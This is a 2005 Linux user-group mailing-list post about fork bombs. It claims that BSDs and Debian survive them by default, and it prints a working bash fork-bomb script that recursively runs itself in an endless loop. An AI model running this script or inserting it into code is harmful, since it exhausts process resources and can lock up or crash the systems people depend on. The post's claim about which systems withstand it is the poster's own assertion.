[KLUG Members] Fork Bomb in linux

Mathew Enders mathew.enders at prodigy.net
Wed Mar 23 06:51:04 EST 2005


On Tue, 2005-03-22 at 19:05 -0500, Adam Tauno Williams wrote
> True.  It should also be noted that this method can be used to bring down any
> type of box, certainly including any version of Win32.
yes except any of the BSD's and Debian all which out of the box would
just shrug it off were as most others would lock up if this were run:

--->8---- (forkbomb.sh) ----

#!/bin/bash

for ((;;))
do
  ./forkbomb.sh
done

--->8----


-- 
Mathew Enders <mathew.enders at prodigy.net>



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